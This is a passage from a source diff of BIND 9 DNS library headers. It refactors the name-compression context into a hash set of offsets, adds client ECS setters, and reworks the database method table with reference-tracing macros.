+	dns_ecs_t ecs;
 } dns_clientinfo_t;
 
 typedef isc_result_t (*dns_clientinfo_sourceip_t)(dns_clientinfo_t *client,
-						  isc_sockaddr_t ** addrp);
+						  isc_sockaddr_t  **addrp);
 
 #define DNS_CLIENTINFOMETHODS_VERSION 2
 #define DNS_CLIENTINFOMETHODS_AGE     1
 
+/*
+ * Any updates to this structure should also be applied in
+ * contrib/modules/dlz/dlz_minmal.h.
+ */
 typedef struct dns_clientinfomethods {
 	uint16_t		  version;
 	uint16_t		  age;
@@ -70,12 +82,21 @@ typedef struct dns_clientinfomethods {
 ***** Methods
 *****/
 void
-dns_clientinfomethods_init(dns_clientinfomethods_t * methods,
+dns_clientinfomethods_init(dns_clientinfomethods_t  *methods,
 			   dns_clientinfo_sourceip_t sourceip);
 
 void
 dns_clientinfo_init(dns_clientinfo_t *ci, void *data, void *versionp);
+/*%<
+ * Initialize a clientinfo object, setting the data to 'data' and the
+ * database version to 'versionp'. ECS data is initialized to 0/0/0.
+ */
 
-ISC_LANG_ENDDECLS
+void
+dns_clientinfo_setecs(dns_clientinfo_t *ci, dns_ecs_t *ecs);
+/*%<
+ * Set the ECS client data associated with a clientinfo object 'ci'.
+ * If 'ecs' is NULL, initialize ci->ecs to 0/0/0; otherwise copy it.
+ */
 
-#endif /* DNS_CLIENTINFO_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/compress.h b/lib/dns/include/dns/compress.h
index 9c0ea5695a..2ea37b548e 100644
--- a/lib/dns/include/dns/compress.h
+++ b/lib/dns/include/dns/compress.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_COMPRESS_H
-#define DNS_COMPRESS_H 1
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
@@ -26,115 +27,137 @@ ISC_LANG_BEGINDECLS
 /*! \file dns/compress.h
  * Direct manipulation of the structures is strongly discouraged.
  *
- * A name compression context handles compression of multiple DNS names
- * in relation to a single DNS message. The context can be used to
- * selectively turn on/off compression for specific names (depending on
- * the RR type) by using \c dns_compress_setmethods(). Alternately,
- * compression can be disabled completely using \c
- * dns_compress_disable().
+ * A name compression context handles compression of multiple DNS names in
+ * relation to a single DNS message. The context can be used to selectively
+ * turn on/off compression for specific names (depending on the RR type,
+ * according to RFC 3597) by using \c dns_compress_setpermitted().
+ *
+ * The nameserver can be configured not to use compression at all using
+ * \c dns_compress_disable().
+ *
+ * DNS name compression only needs exact matches on (suffixes of) names. We
+ * could use a data structure that supports longest-match lookups, but that
+ * would introduce a lot of heavyweight machinery, and all we need is
+ * something that exists very briefly to store a few names before it is
+ * thrown away.
+ *
+ * In the abstract we need a map from DNS names to compression offsets. But
+ * a compression offset refers to a point in the message where the name has
+ * been written. So in fact all we need is a hash set of compression offsets.
  *
- * \c dns_compress_setmethods() is intended for use by RDATA towire()
- * implementations, whereas \c dns_compress_disable() is intended to be
- * used by a nameserver's configuration manager.
+ * Typical messages do not contain more than a few dozen names, so by
+ * default our hash set is small (64 entries, 256 bytes). It can be
+ * enlarged when a message is likely to contain a lot of names, such as for
+ * outgoing zone transfers (which are handled in lib/ns/xfrout.c) and
+ * update requests (for which nsupdate uses DNS_REQUESTOPT_LARGE - see
+ * request.h).
  */
 
-#define DNS_COMPRESS_NONE	   0x00 /*%< no compression */
-#define DNS_COMPRESS_GLOBAL14	   0x01 /*%< "normal" compression. */
-#define DNS_COMPRESS_ALL	   0x01 /*%< all compression. */
-#define DNS_COMPRESS_CASESENSITIVE 0x02 /*%< case sensitive compression. */
-#define DNS_COMPRESS_ENABLED	   0x04
-
 /*
- * DNS_COMPRESS_TABLESIZE must be a power of 2. The compress code
- * utilizes this assumption.
- */
-#define DNS_COMPRESS_TABLEBITS	  6
-#define DNS_COMPRESS_TABLESIZE	  (1U << DNS_COMPRESS_TABLEBITS)
-#define DNS_COMPRESS_TABLEMASK	  (DNS_COMPRESS_TABLESIZE - 1)
-#define DNS_COMPRESS_INITIALNODES 24
-#define DNS_COMPRESS_ARENA_SIZE	  640
+ * Logarithms of hash set sizes. In the usual (small) case, allow for for a
+ * few dozen names in the hash set. (We can't actually use every slot because
+ * space is reserved for performance reasons.) For large messages, the number
+ * of names is limited by the minimum size of an RR (owner, type, class, ttl,
+ * length) which is 12 bytes - call it 16 bytes to make space for a new label.
+ * Divide the maximum compression offset 0x4000 by 16 and you get 0x400 == 1024.
+ * In practice, the root zone (for example) uses less than 200 distinct names
+ * per message.
+ */
+enum {
+	DNS_COMPRESS_SMALLBITS = 6,
+	DNS_COMPRESS_LARGEBITS = 10,
+};
 
-typedef struct dns_compressnode dns_compressnode_t;
+/*
+ * Compression context flags
+ */
+enum dns_compress_flags {
+	/* affecting the whole message */
+	DNS_COMPRESS_DISABLED = 0x00000001U,
+	DNS_COMPRESS_CASE = 0x00000002U,
+	DNS_COMPRESS_LARGE = 0x00000004U,
+	/* can toggle while rendering a message */
+	DNS_COMPRESS_PERMITTED = 0x00000008U,
+};
 
-struct dns_compressnode {
-	dns_compressnode_t *next;
-	uint16_t	    offset;
-	uint16_t	    count;
-	isc_region_t	    r;
-	dns_name_t	    name;
+/*
+ * The hash may be any 16 bit value. Unused slots have coff == 0. (Valid
+ * compression offsets cannot be zero because of the DNS message header.)
+ */
+struct dns_compress_slot {
+	uint16_t hash;
+	uint16_t coff;
 };
 
 struct dns_compress {
-	unsigned int magic;   /*%< Magic number. */
-	unsigned int allowed; /*%< Allowed methods. */
-	int	     edns;    /*%< Edns version or -1. */
-	/*% Global compression table. */
-	dns_compressnode_t *table[DNS_COMPRESS_TABLESIZE];
-	/*% Preallocated arena for names. */
-	unsigned char arena[DNS_COMPRESS_ARENA_SIZE];
-	off_t	      arena_off;
-	/*% Preallocated nodes for the table. */
-	dns_compressnode_t initialnodes[DNS_COMPRESS_INITIALNODES];
-	uint16_t	   count; /*%< Number of nodes. */
-	isc_mem_t *	   mctx;  /*%< Memory context. */
+	unsigned int	     magic;
+	dns_compress_flags_t flags;
+	uint16_t	     mask;
+	uint16_t	     count;
+	isc_mem_t	    *mctx;
+	dns_compress_slot_t *set;
+	dns_compress_slot_t  smallset[1 << DNS_COMPRESS_SMALLBITS];
 };
 
-typedef enum {
-	DNS_DECOMPRESS_ANY,    /*%< Any compression */
-	DNS_DECOMPRESS_STRICT, /*%< Allowed compression */
-	DNS_DECOMPRESS_NONE    /*%< No compression */
-} dns_decompresstype_t;
-
-struct dns_decompress {
-	unsigned int	     magic;   /*%< Magic number. */
-	unsigned int	     allowed; /*%< Allowed methods. */
-	int		     edns;    /*%< Edns version or -1. */
-	dns_decompresstype_t type;    /*%< Strict checking */
+/*
+ * Deompression context
+ */
+enum dns_decompress {
+	DNS_DECOMPRESS_DEFAULT,
+	DNS_DECOMPRESS_PERMITTED,
+	DNS_DECOMPRESS_NEVER,
+	DNS_DECOMPRESS_ALWAYS,
 };
 
-isc_result_t
-dns_compress_init(dns_compress_t *cctx, int edns, isc_mem_t *mctx);
+void
+dns_compress_init(dns_compress_t *cctx, isc_mem_t *mctx,
+		  dns_compress_flags_t flags);
 /*%<
  *	Initialise the compression context structure pointed to by
- *	'cctx'. A freshly initialized context has name compression
- *	enabled, but no methods are set. Please use \c
- *	dns_compress_setmethods() to set a compression method.
+ *	'cctx'.
+ *
+ *	The `flags` argument is usually zero; or some combination of:
+ *\li		DNS_COMPRESS_DISABLED, so the whole message is uncompressed
+ *\li		DNS_COMPRESS_CASE, for case-sensitive compression
+ *\li		DNS_COMPRESS_LARGE, for messages with many names
+ *
+ *	(See also dns_request_create()'s options argument)
  *
  *	Requires:
- *	\li	'cctx' is a valid dns_compress_t structure.
- *	\li	'mctx' is an initialized memory context.
+ *\li		'cctx' is a dns_compress_t structure on the stack.
+ *\li		'mctx' is an initialized memory context.
  *	Ensures:
- *	\li	cctx->global is initialized.
- *
- *	Returns:
- *	\li	#ISC_R_SUCCESS
+ *\li		'cctx' is initialized.
+ *\li		'dns_compress_getpermitted(cctx)' is true
  */
 
 void
 dns_compress_invalidate(dns_compress_t *cctx);
 
 /*%<
- *	Invalidate the compression structure pointed to by cctx.
+ *	Invalidate the compression structure pointed to by
+ *	'cctx', freeing any memory that has been allocated.
  *
  *	Requires:
- *\li		'cctx' to be initialized.
+ *\li		'cctx' is an initialized dns_compress_t
  */
 
 void
-dns_compress_setmethods(dns_compress_t *cctx, unsigned int allowed);
+dns_compress_setpermitted(dns_compress_t *cctx, bool permitted);
 
 /*%<
- *	Sets allowed compression methods.
+ *	Sets whether compression is allowed, according to RFC 3597.
+ *	This can vary depending on the rdata type.
  *
  *	Requires:
  *\li		'cctx' to be initialized.
  */
 
-unsigned int
-dns_compress_getmethods(dns_compress_t *cctx);
+bool
+dns_compress_getpermitted(dns_compress_t *cctx);
 
 /*%<
- *	Gets allowed compression methods.
+ *	Find out whether compression is allowed, according to RFC 3597.
  *
  *	Requires:
  *\li		'cctx' to be initialized.
@@ -144,157 +167,66 @@ dns_compress_getmethods(dns_compress_t *cctx);
  */
 
 void
-dns_compress_disable(dns_compress_t *cctx);
+dns_compress_name(dns_compress_t *cctx, isc_buffer_t *buffer,
+		  const dns_name_t *name, unsigned int *return_prefix,
+		  unsigned int *return_coff);
 /*%<
- *	Disables all name compression in the context. Once disabled,
- *	name compression cannot currently be re-enabled.
+ *	Finds longest suffix matching 'name' in the compression table,
+ *	and adds any remaining prefix of 'name' to the table.
  *
- *	Requires:
- *\li		'cctx' to be initialized.
- *
- */
-
-void
-dns_compress_setsensitive(dns_compress_t *cctx, bool sensitive);
-
-/*
- *	Preserve the case of compressed domain names.
- *
- *	Requires:
- *		'cctx' to be initialized.
- */
-
-bool
-dns_compress_getsensitive(dns_compress_t *cctx);
-/*
- *	Return whether case is to be preserved when compressing
- *	domain names.
- *
- *	Requires:
- *		'cctx' to be initialized.
- */
-
-int
-dns_compress_getedns(dns_compress_t *cctx);
-
-/*%<
- *	Gets edns value.
- *
- *	Requires:
- *\li		'cctx' to be initialized.
- *
- *	Returns:
- *\li		-1 .. 255
- */
-
-bool
-dns_compress_findglobal(dns_compress_t *cctx, const dns_name_t *name,
-			dns_name_t *prefix, uint16_t *offset);
-/*%<
- *	Finds longest possible match of 'name' in the global compression table.
+ *	This is used by dns_name_towire() for both compressed and uncompressed
+ *	names; for uncompressed names, dns_name_towire() does not need to know
+ *	about the matching suffix, but it still needs to add the name for use
+ *	by later compression pointers. For example, an owner name of a record
+ *	in the additional section will often need to refer back to an RFC 3597
+ *	uncompressed name in the rdata of a record in the answer section.
  *
  *	Requires:
  *\li		'cctx' to be initialized.
+ *\li		'buffer' contains the rendered message.
  *\li		'name' to be a absolute name.
- *\li		'prefix' to be initialized.
- *\li		'offset' to point to an uint16_t.
+ *\li		'return_prefix' points to an unsigned int.
+ *\li		'return_coff' points to an unsigned int, which must be zero.
  *
  *	Ensures:
- *\li		'prefix' and 'offset' are valid if true is 	returned.
- *
- *	Returns:
- *\li		#true / #false
- */
-
-void
-dns_compress_add(dns_compress_t *cctx, const dns_name_t *name,
-		 const dns_name_t *prefix, uint16_t offset);
-/*%<
- *	Add compression pointers for 'name' to the compression table,
- *	not replacing existing pointers.
- *
- *	Requires:
- *\li		'cctx' initialized
- *
- *\li		'name' must be initialized and absolute, and must remain
- *		valid until the message compression is complete.
+ *\li		When no suffix is found, the return variables
+ *              'return_prefix' and 'return_coff' are unchanged
  *
- *\li		'prefix' must be a prefix returned by
- *		dns_compress_findglobal(), or the same as 'name'.
+ *\li		Otherwise, '*return_prefix' is set to the length of the
+ *		prefix of the name that did not match, and '*suffix_coff'
+ *		is set to a nonzero compression offset of the match.
  */
 
 void
-dns_compress_rollback(dns_compress_t *cctx, uint16_t offset);
-
+dns_compress_rollback(dns_compress_t *cctx, unsigned int offset);
 /*%<
- *	Remove any compression pointers from global table >= offset.
+ *	Remove any compression pointers from the table that are >= offset.
  *
  *	Requires:
  *\li		'cctx' is initialized.
  */
 
-void
-dns_decompress_init(dns_decompress_t *dctx, int edns,
-		    dns_decompresstype_t type);
-
-/*%<
- *	Initializes 'dctx'.
- *	Records 'edns' and 'type' into the structure.
- *
- *	Requires:
- *\li		'dctx' to be a valid pointer.
- */
-
-void
-dns_decompress_invalidate(dns_decompress_t *dctx);
-
-/*%<
- *	Invalidates 'dctx'.
- *
- *	Requires:
- *\li		'dctx' to be initialized
- */
-
-void
-dns_decompress_setmethods(dns_decompress_t *dctx, unsigned int allowed);
-
-/*%<
- *	Sets 'dctx->allowed' to 'allowed'.
- *
- *	Requires:
- *\li		'dctx' to be initialized
- */
-
-unsigned int
-dns_decompress_getmethods(dns_decompress_t *dctx);
-
-/*%<
- *	Returns 'dctx->allowed'
- *
- *	Requires:
- *\li		'dctx' to be initialized
- */
-
-int
-dns_decompress_edns(dns_decompress_t *dctx);
-
-/*%<
- *	Returns 'dctx->edns'
- *
- *	Requires:
- *\li		'dctx' to be initialized
+/*%
+ *	Set whether decompression is allowed, according to RFC 3597
  */
+static inline dns_decompress_t /* inline to suppress code generation */
+dns_decompress_setpermitted(dns_decompress_t dctx, bool permitted) {
+	if (dctx == DNS_DECOMPRESS_NEVER || dctx == DNS_DECOMPRESS_ALWAYS) {
+		return (dctx);
+	} else if (permitted) {
+		return (DNS_DECOMPRESS_PERMITTED);
+	} else {
+		return (DNS_DECOMPRESS_DEFAULT);
+	}
+}
 
-dns_decompresstype_t
-dns_decompress_type(dns_decompress_t *dctx);
-
-/*%<
- *	Returns 'dctx->type'
- *
- *	Requires:
- *\li		'dctx' to be initialized
+/*%
+ *	Returns whether decompression is allowed here
  */
+static inline bool /* inline to suppress code generation */
+dns_decompress_getpermitted(dns_decompress_t dctx) {
+	return (dctx == DNS_DECOMPRESS_ALWAYS ||
+		dctx == DNS_DECOMPRESS_PERMITTED);
+}
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_COMPRESS_H */
diff --git a/lib/dns/include/dns/db.h b/lib/dns/include/dns/db.h
index 8664cf1458..373fa30384 100644
--- a/lib/dns/include/dns/db.h
+++ b/lib/dns/include/dns/db.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DB_H
-#define DNS_DB_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -46,14 +47,18 @@
 ***** Imports
 *****/
 
+/* Define to 1 for detailed reference tracing */
+#undef DNS_DB_TRACE
+
 #include <inttypes.h>
 #include <stdbool.h>
 
-#include <isc/deprecated.h>
 #include <isc/lang.h>
 #include <isc/magic.h>
+#include <isc/rwlock.h>
 #include <isc/stats.h>
 #include <isc/stdtime.h>
+#include <isc/urcu.h>
 
 #include <dns/clientinfo.h>
 #include <dns/fixedname.h>
@@ -64,116 +69,103 @@
 
 ISC_LANG_BEGINDECLS
 
+/*%
+ * Tuning: external query load in packets per seconds.
+ */
+extern unsigned int dns_pps;
+
 /*****
 ***** Types
 *****/
 
 typedef struct dns_dbmethods {
-	void (*attach)(dns_db_t *source, dns_db_t **targetp);
-	void (*detach)(dns_db_t **dbp);
-	isc_result_t (*beginload)(dns_db_t *		db,
+	void (*destroy)(dns_db_t *db);
+	isc_result_t (*beginload)(dns_db_t	       *db,
 				  dns_rdatacallbacks_t *callbacks);
 	isc_result_t (*endload)(dns_db_t *db, dns_rdatacallbacks_t *callbacks);
-	isc_result_t (*serialize)(dns_db_t *db, dns_dbversion_t *version,
-				  FILE *file);
-	isc_result_t (*dump)(dns_db_t *db, dns_dbversion_t *version,
-			     const char *	filename,
-			     dns_masterformat_t masterformat);
 	void (*currentversion)(dns_db_t *db, dns_dbversion_t **versionp);
 	isc_result_t (*newversion)(dns_db_t *db, dns_dbversion_t **versionp);
 	void (*attachversion)(dns_db_t *db, dns_dbversion_t *source,
 			      dns_dbversion_t **targetp);
 	void (*closeversion)(dns_db_t *db, dns_dbversion_t **versionp,
-			     bool commit);
+			     bool commit DNS__DB_FLARG);
 	isc_result_t (*findnode)(dns_db_t *db, const dns_name_t *name,
-				 bool create, dns_dbnode_t **nodep);
+				 bool		      create,
+				 dns_dbnode_t **nodep DNS__DB_FLARG);
 	isc_result_t (*find)(dns_db_t *db, const dns_name_t *name,
 			     dns_dbversion_t *version, dns_rdatatype_t type,
 			     unsigned int options, isc_stdtime_t now,
 			     dns_dbnode_t **nodep, dns_name_t *foundname,
-			     dns_rdataset_t *rdataset,
-			     dns_rdataset_t *sigrdataset);
+			     dns_rdataset_t		*rdataset,
+			     dns_rdataset_t *sigrdataset DNS__DB_FLARG);
 	isc_result_t (*findzonecut)(dns_db_t *db, const dns_name_t *name,
 				    unsigned int options, isc_stdtime_t now,
 				    dns_dbnode_t **nodep, dns_name_t *foundname,
-				    dns_name_t *    dcname,
-				    dns_rdataset_t *rdataset,
-				    dns_rdataset_t *sigrdataset);
+				    dns_name_t		       *dcname,
+				    dns_rdataset_t	       *rdataset,
+				    dns_rdataset_t *sigrdataset DNS__DB_FLARG);
 	void (*attachnode)(dns_db_t *db, dns_dbnode_t *source,
-			   dns_dbnode_t **targetp);
-	void (*detachnode)(dns_db_t *db, dns_dbnode_t **targetp);
-	isc_result_t (*expirenode)(dns_db_t *db, dns_dbnode_t *node,
-				   isc_stdtime_t now);
-	void (*printnode)(dns_db_t *db, dns_dbnode_t *node, FILE *out);
+			   dns_dbnode_t **targetp DNS__DB_FLARG);
+	void (*detachnode)(dns_db_t *db, dns_dbnode_t **targetp DNS__DB_FLARG);
 	isc_result_t (*createiterator)(dns_db_t *db, unsigned int options,
 				       dns_dbiterator_t **iteratorp);
 	isc_result_t (*findrdataset)(dns_db_t *db, dns_dbnode_t *node,
 				     dns_dbversion_t *version,
 				     dns_rdatatype_t  type,
 				     dns_rdatatype_t covers, isc_stdtime_t now,
-				     dns_rdataset_t *rdataset,
-				     dns_rdataset_t *sigrdataset);
-	isc_result_t (*allrdatasets)(dns_db_t *db, dns_dbnode_t *node,
-				     dns_dbversion_t *	  version,
-				     isc_stdtime_t	  now,
-				     dns_rdatasetiter_t **iteratorp);
+				     dns_rdataset_t		*rdataset,
+				     dns_rdataset_t *sigrdataset DNS__DB_FLARG);
+	isc_result_t (*allrdatasets)(
+		dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		unsigned int options, isc_stdtime_t now,
+		dns_rdatasetiter_t **iteratorp DNS__DB_FLARG);
 	isc_result_t (*addrdataset)(dns_db_t *db, dns_dbnode_t *node,
 				    dns_dbversion_t *version, isc_stdtime_t now,
 				    dns_rdataset_t *rdataset,
 				    unsigned int    options,
-				    dns_rdataset_t *addedrdataset);
-	isc_result_t (*subtractrdataset)(dns_db_t *db, dns_dbnode_t *node,
-					 dns_dbversion_t *version,
-					 dns_rdataset_t * rdataset,
-					 unsigned int	  options,
-					 dns_rdataset_t * newrdataset);
+				    dns_rdataset_t *addedrdataset DNS__DB_FLARG);
+	isc_result_t (*subtractrdataset)(
+		dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		dns_rdataset_t *rdataset, unsigned int options,
+		dns_rdataset_t *newrdataset DNS__DB_FLARG);
 	isc_result_t (*deleterdataset)(dns_db_t *db, dns_dbnode_t *node,
-				       dns_dbversion_t *version,
-				       dns_rdatatype_t	type,
-				       dns_rdatatype_t	covers);
+				       dns_dbversion_t	     *version,
+				       dns_rdatatype_t	      type,
+				       dns_rdatatype_t covers DNS__DB_FLARG);
 	bool (*issecure)(dns_db_t *db);
-	unsigned int (*nodecount)(dns_db_t *db);
-	bool (*ispersistent)(dns_db_t *db);
-	void (*overmem)(dns_db_t *db, bool overmem);
-	void (*settask)(dns_db_t *db, isc_task_t *);
-	isc_result_t (*getoriginnode)(dns_db_t *db, dns_dbnode_t **nodep);
-	void (*transfernode)(dns_db_t *db, dns_dbnode_t **sourcep,
-			     dns_dbnode_t **targetp);
-	isc_result_t (*getnsec3parameters)(dns_db_t *	    db,
+	unsigned int (*nodecount)(dns_db_t *db, dns_dbtree_t);
+	void (*setloop)(dns_db_t *db, isc_loop_t *);
+	isc_result_t (*getoriginnode)(dns_db_t		  *db,
+				      dns_dbnode_t **nodep DNS__DB_FLARG);
+	isc_result_t (*getnsec3parameters)(dns_db_t	   *db,
 					   dns_dbversion_t *version,
 					   dns_hash_t *hash, uint8_t *flags,
-					   uint16_t *	  iterations,
+					   uint16_t	 *iterations,
 					   unsigned char *salt,
-					   size_t *	  salt_len);
+					   size_t	 *salt_len);
 	isc_result_t (*findnsec3node)(dns_db_t *db, const dns_name_t *name,
-				      bool create, dns_dbnode_t **nodep);
+				      bool		   create,
+				      dns_dbnode_t **nodep DNS__DB_FLARG);
 	isc_result_t (*setsigningtime)(dns_db_t *db, dns_rdataset_t *rdataset,
 				       isc_stdtime_t resign);
 	isc_result_t (*getsigningtime)(dns_db_t *db, dns_rdataset_t *rdataset,
-				       dns_name_t *name);
-	void (*resigned)(dns_db_t *db, dns_rdataset_t *rdataset,
-			 dns_dbversion_t *version);
-	bool (*isdnssec)(dns_db_t *db);
+				       dns_name_t *name DNS__DB_FLARG);
 	dns_stats_t *(*getrrsetstats)(dns_db_t *db);
-	void (*rpz_attach)(dns_db_t *db, void *rpzs, uint8_t rpz_num);
-	isc_result_t (*rpz_ready)(dns_db_t *db);
 	isc_result_t (*findnodeext)(dns_db_t *db, const dns_name_t *name,
 				    bool		     create,
 				    dns_clientinfomethods_t *methods,
-				    dns_clientinfo_t *	     clientinfo,
-				    dns_dbnode_t **	     nodep);
+				    dns_clientinfo_t	    *clientinfo,
+				    dns_dbnode_t **nodep     DNS__DB_FLARG);
 	isc_result_t (*findext)(dns_db_t *db, const dns_name_t *name,
 				dns_dbversion_t *version, dns_rdatatype_t type,
 				unsigned int options, isc_stdtime_t now,
 				dns_dbnode_t **nodep, dns_name_t *foundname,
-				dns_clientinfomethods_t *methods,
-				dns_clientinfo_t *	 clientinfo,
-				dns_rdataset_t *	 rdataset,
-				dns_rdataset_t *	 sigrdataset);
+				dns_clientinfomethods_t	   *methods,
+				dns_clientinfo_t	   *clientinfo,
+				dns_rdataset_t		   *rdataset,
+				dns_rdataset_t *sigrdataset DNS__DB_FLARG);
 	isc_result_t (*setcachestats)(dns_db_t *db, isc_stats_t *stats);
 	size_t (*hashsize)(dns_db_t *db);
-	isc_result_t (*nodefullname)(dns_db_t *db, dns_dbnode_t *node,
-				     dns_name_t *name);
 	isc_result_t (*getsize)(dns_db_t *db, dns_dbversion_t *version,
 				uint64_t *records, uint64_t *bytes);
 	isc_result_t (*setservestalettl)(dns_db_t *db, dns_ttl_t ttl);
@@ -181,10 +173,16 @@ typedef struct dns_dbmethods {
 	isc_result_t (*setservestalerefresh)(dns_db_t *db, uint32_t interval);
 	isc_result_t (*getservestalerefresh)(dns_db_t *db, uint32_t *interval);
 	isc_result_t (*setgluecachestats)(dns_db_t *db, isc_stats_t *stats);
-	isc_result_t (*adjusthashsize)(dns_db_t *db, size_t size);
+	void (*locknode)(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t t);
+	void (*unlocknode)(dns_db_t *db, dns_dbnode_t *node,
+			   isc_rwlocktype_t t);
+	isc_result_t (*addglue)(dns_db_t *db, dns_dbversion_t *version,
+				dns_rdataset_t *rdataset, dns_message_t *msg);
+	void (*expiredata)(dns_db_t *db, dns_dbnode_t *node, void *data);
+	void (*deletedata)(dns_db_t *db, dns_dbnode_t *node, void *data);
 } dns_dbmethods_t;
 
-typedef isc_result_t (*dns_dbcreatefunc_t)(isc_mem_t *	     mctx,
+typedef isc_result_t (*dns_dbcreatefunc_t)(isc_mem_t	    *mctx,
 					   const dns_name_t *name,
 					   dns_dbtype_t	     type,
 					   dns_rdataclass_t  rdclass,
@@ -212,33 +210,39 @@ struct dns_db {
 	uint16_t	 attributes;
 	dns_rdataclass_t rdclass;
 	dns_name_t	 origin;
-	isc_mem_t *	 mctx;
-	ISC_LIST(dns_dbonupdatelistener_t) update_listeners;
+	dns_ttl_t	 serve_stale_ttl; /* for cache DB's only */
+	isc_mem_t	*mctx;
+	isc_refcount_t	 references;
+	struct cds_lfht *update_listeners;
 };
 
-#define DNS_DBATTR_CACHE 0x01
-#define DNS_DBATTR_STUB	 0x02
+enum {
+	DNS_DBATTR_CACHE = 1 << 0,
+	DNS_DBATTR_STUB = 1 << 1,
+};
 
 struct dns_dbonupdatelistener {
+	isc_mem_t	       *mctx;
 	dns_dbupdate_callback_t onupdate;
-	void *			onupdate_arg;
-	ISC_LINK(dns_dbonupdatelistener_t) link;
+	void		       *onupdate_arg;
+	struct cds_lfht_node	ht_node;
+	struct rcu_head		rcu_head;
 };
 
 /*@{*/
 /*%
  * Options that can be specified for dns_db_find().
  */
-#define DNS_DBFIND_GLUEOK	0x0001
-#define DNS_DBFIND_VALIDATEGLUE 0x0002
-#define DNS_DBFIND_NOWILD	0x0004
-#define DNS_DBFIND_PENDINGOK	0x0008
-#define DNS_DBFIND_NOEXACT	0x0010
-#define DNS_DBFIND_FORCENSEC	0x0020
-#define DNS_DBFIND_COVERINGNSEC 0x0040
-#define DNS_DBFIND_FORCENSEC3	0x0080
-#define DNS_DBFIND_ADDITIONALOK 0x0100
-#define DNS_DBFIND_NOZONECUT	0x0200
+enum {
+	DNS_DBFIND_GLUEOK = 1 << 0,
+	DNS_DBFIND_NOWILD = 1 << 1,
+	DNS_DBFIND_PENDINGOK = 1 << 2,
+	DNS_DBFIND_NOEXACT = 1 << 3,
+	DNS_DBFIND_COVERINGNSEC = 1 << 4,
+	DNS_DBFIND_FORCENSEC3 = 1 << 5,
+	DNS_DBFIND_ADDITIONALOK = 1 << 6,
+	DNS_DBFIND_NOZONECUT = 1 << 7,
+};
 
 /*
  * DNS_DBFIND_STALEOK: This flag is set when BIND fails to refresh a RRset due
@@ -299,6 +303,9 @@ struct dns_dbonupdatelistener {
 #define DNS_DB_NONSEC3	     0x4
 /*@}*/
 
+#define DNS_DB_STALEOK	 0x01
+#define DNS_DB_EXPIREDOK 0x02
+
 /*****
 ***** Methods
 *****/
@@ -307,6 +314,17 @@ struct dns_dbonupdatelistener {
  *** Basic DB Methods
  ***/
 
+#if DNS_DB_TRACE
+#define dns_db_ref(ptr)	  dns_db__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_db_unref(ptr) dns_db__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_db_attach(ptr, ptrp) \
+	dns_db__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_db_detach(ptrp) dns_db__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_db);
+#else
+ISC_REFCOUNT_DECL(dns_db);
+#endif
+
 isc_result_t
 dns_db_create(isc_mem_t *mctx, const char *db_type, const dns_name_t *origin,
 	      dns_dbtype_t type, dns_rdataclass_t rdclass, unsigned int argc,
@@ -346,39 +364,6 @@ dns_db_create(isc_mem_t *mctx, const char *db_type, const dns_name_t *origin,
  *	specified.
  */
 
-void
-dns_db_attach(dns_db_t *source, dns_db_t **targetp);
-/*%<
- * Attach *targetp to source.
- *
- * Requires:
- *
- * \li	'source' is a valid database.
- *
- * \li	'targetp' points to a NULL dns_db_t *.
- *
- * Ensures:
- *
- * \li	*targetp is attached to source.
- */
-
-void
-dns_db_detach(dns_db_t **dbp);
-/*%<
- * Detach *dbp from its database.
- *
- * Requires:
- *
- * \li	'dbp' points to a valid database.
- *
- * Ensures:
- *
- * \li	*dbp is NULL.
- *
- * \li	If '*dbp' is the last reference to the database,
- *		all resources used by the database will be freed
- */
-
 bool
 dns_db_iscache(dns_db_t *db);
 /*%<
@@ -499,8 +484,6 @@ dns_db_beginload(dns_db_t *db, dns_rdatacallbacks_t *callbacks);
  *      suitable for loading records into 'db' from a raw or text zone
  *      file. callbacks->add_private will be a valid DB load context
  *      which should be used as 'arg' when callbacks->add is called.
- *      callbacks->deserialize will be a valid dns_deserialize_func_t
- *      suitable for loading 'db' from a map format zone file.
  *
  * Returns:
  *
@@ -567,26 +550,6 @@ dns_db_load(dns_db_t *db, const char *filename, dns_masterformat_t format,
  *	implementation used, syntax errors in the master file, etc.
  */
 
-isc_result_t
-dns_db_serialize(dns_db_t *db, dns_dbversion_t *version, FILE *rbtfile);
-/*%<
- * Dump version 'version' of 'db' to map-format file 'filename'.
- *
- * Requires:
- *
- * \li	'db' is a valid database.
- *
- * \li	'version' is a valid version.
- *
- * Returns:
- *
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_NOMEMORY
- *
- * \li	Other results are possible, depending upon the database
- *	implementation used, OS file errors, etc.
- */
-
 isc_result_t
 dns_db_dump(dns_db_t *db, dns_dbversion_t *version, const char *filename);
 /*%<
@@ -671,8 +634,11 @@ dns_db_attachversion(dns_db_t *db, dns_dbversion_t *source,
  * \li	'*targetp' is attached to source.
  */
 
+#define dns_db_closeversion(db, versionp, commit) \
+	dns__db_closeversion(db, versionp, commit DNS__DB_FILELINE)
 void
-dns_db_closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit);
+dns__db_closeversion(dns_db_t *db, dns_dbversion_t **versionp,
+		     bool commit DNS__DB_FLARG);
 /*%<
